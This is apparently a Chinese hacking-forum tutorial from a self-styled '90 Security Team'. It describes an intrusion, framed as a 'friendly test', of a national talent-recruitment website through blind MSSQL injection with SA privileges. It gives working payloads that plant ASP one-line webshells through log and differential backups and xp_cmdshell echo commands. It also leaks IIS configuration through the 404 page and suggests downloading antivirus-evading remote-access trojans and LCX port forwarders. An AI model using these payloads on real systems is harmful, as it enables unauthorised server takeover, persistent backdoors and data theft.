sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————


& ~; d- X9 y* t/ [& R! X( ^8 W7 D                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
6 {' N) ^- n4 V6 H. O$ |
                                                                 
% E. p  a' a0 f4 A+ [$ f                                                                 
* s* e  v0 B7 p; ]6 ^9 x& N1 H                                                                  论坛： http://www.90team.net/

, V7 T/ U+ B6 t( Q4 M

友情检测国家人才网

. R) B$ c9 S! j" Z& f. l1 A
内容：MSSQL注入SA权限不显错模式下的入侵
3 F4 X8 R! a  |

一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。

: A  ^- E: ?; s* x2 m9 H) \我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
+ H( _6 z+ o- ]% p+ d6 K
/ D1 {8 T! i( d$ G$ q
这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。

9 E3 n9 Q# L# K' L0 X( g: T6 `思路：

首先：

% Q% w" o$ h/ }( Q! k通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。

1.日志备份获得Webshell
$ D. p' B3 u+ V4 K: g2 W
2 E& x- n# v/ E) V( K& N) N2 v2.数据库差异备份获得Webshell
; M; [+ F+ c  {& C
" M  a, v4 U( N9 n4.直接下载免杀远控木马。
* l/ N) B' @, u: O$ {
5.直接下载LCX将服务器端口转发出来

4 ^2 M; h* C( m- n5 o8 n9 P6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。


+ y5 O8 P. ?: ]
在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，

3 @4 @' F' g* ?, {% M我直接演示后面一个方法
. Q* c" a- l: ~& S

; `8 n5 G* ]4 ]5 V# x6 Z分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL


. R! v4 I- S3 F2 B9 `- r* T

! z4 q  `) G2 b◆日志备份：

& O! |* V8 z% N' v1 b$ c
1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

6 U: ]* F: Q: R$ _0 H2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

" ~; K! ^% Z8 A) s, t0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
* ~3 U  s& f8 X, U  
3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
* v- v  |1 Y, |/ V0 s0 P


0 D" c9 l5 X7 e  r& x◆数据库差异备份
: J" b9 |0 T: w6 h, [  f; q6 d  m1 l
（1. 进行差异备份准备工作

/ C! t. A7 I4 C6 _  h: z;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
9 M4 U3 ~- K# c: Y$ q7 D7 {8 T) R
上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
3 q: f  o5 f9 x, X: |

（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

# V, J2 ?' Q6 m& X0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
5 l2 A( q! ~1 k
3. 备份数据库并清理临时文件
4 T& X: k: ^6 b% O
4 v2 e/ L, X- g5 N7 w;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
( r% M: G) a5 S" A  C# f1 \; `
* B" H% y' k% p' c0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
9 t( v3 A' a0 h, r' `) h

) v, S* N8 C5 _1 s
用^转义字符来写ASP(一句话木马)文件的方法:   

1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--
! e1 i" Q" _0 w& _
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
1 U. r4 r# k6 |( l9 d6 @0 ?) c  a
' v1 e1 }9 R& M5 V读取IIS配置信息获取web路径
2 h' [8 J( {' A% Y9 v
8 S! ]2 j- e6 t* a8 j+ I     
- X9 q% y5 j# k, [$ _     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

9 o; V8 {0 ?- e* R: a4 {执行命令
     
! A$ [! H) F$ x# t     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
$ F) @6 s- F" I) K' }2 |

: V$ T2 |; e( x( {

8 O, ~, A( n- }5 k& {


3 w0 `0 G" k# d2 E; y8 t" E
9 r: a1 O" A* J- s



0 G: f, X0 |2 \

1 ?/ v' _1 f% j8 c

! P6 P; ~5 x% m9 w, @
' @2 \0 k% |) N
7 T* o& n+ q* T, c& O
$ _9 I; Y  Z6 ?; L/ a


' M, o: H/ e& }! r7 ?  m% l. j1 x% o








) [! g3 m0 k* p0 B
% |& B& I+ B, `( `4 ^7 ]
% t! N7 y6 f$ T. _
' N( ~1 O# a: c' s
! R, S4 T" x# U* @! }
& R/ }/ W+ h3 E! k8 P


8 u5 U' A9 b$ g1 E$ K% r- w. {

9 f$ D' k( \6 _; E& T0 N
+ [* H, o; b. [/ M- k
1 r# U, U2 X4 X, p$ n  f1 L


% X4 b1 }* |( f) ^
/ S) V1 q! n7 o5 S3 _! z1 L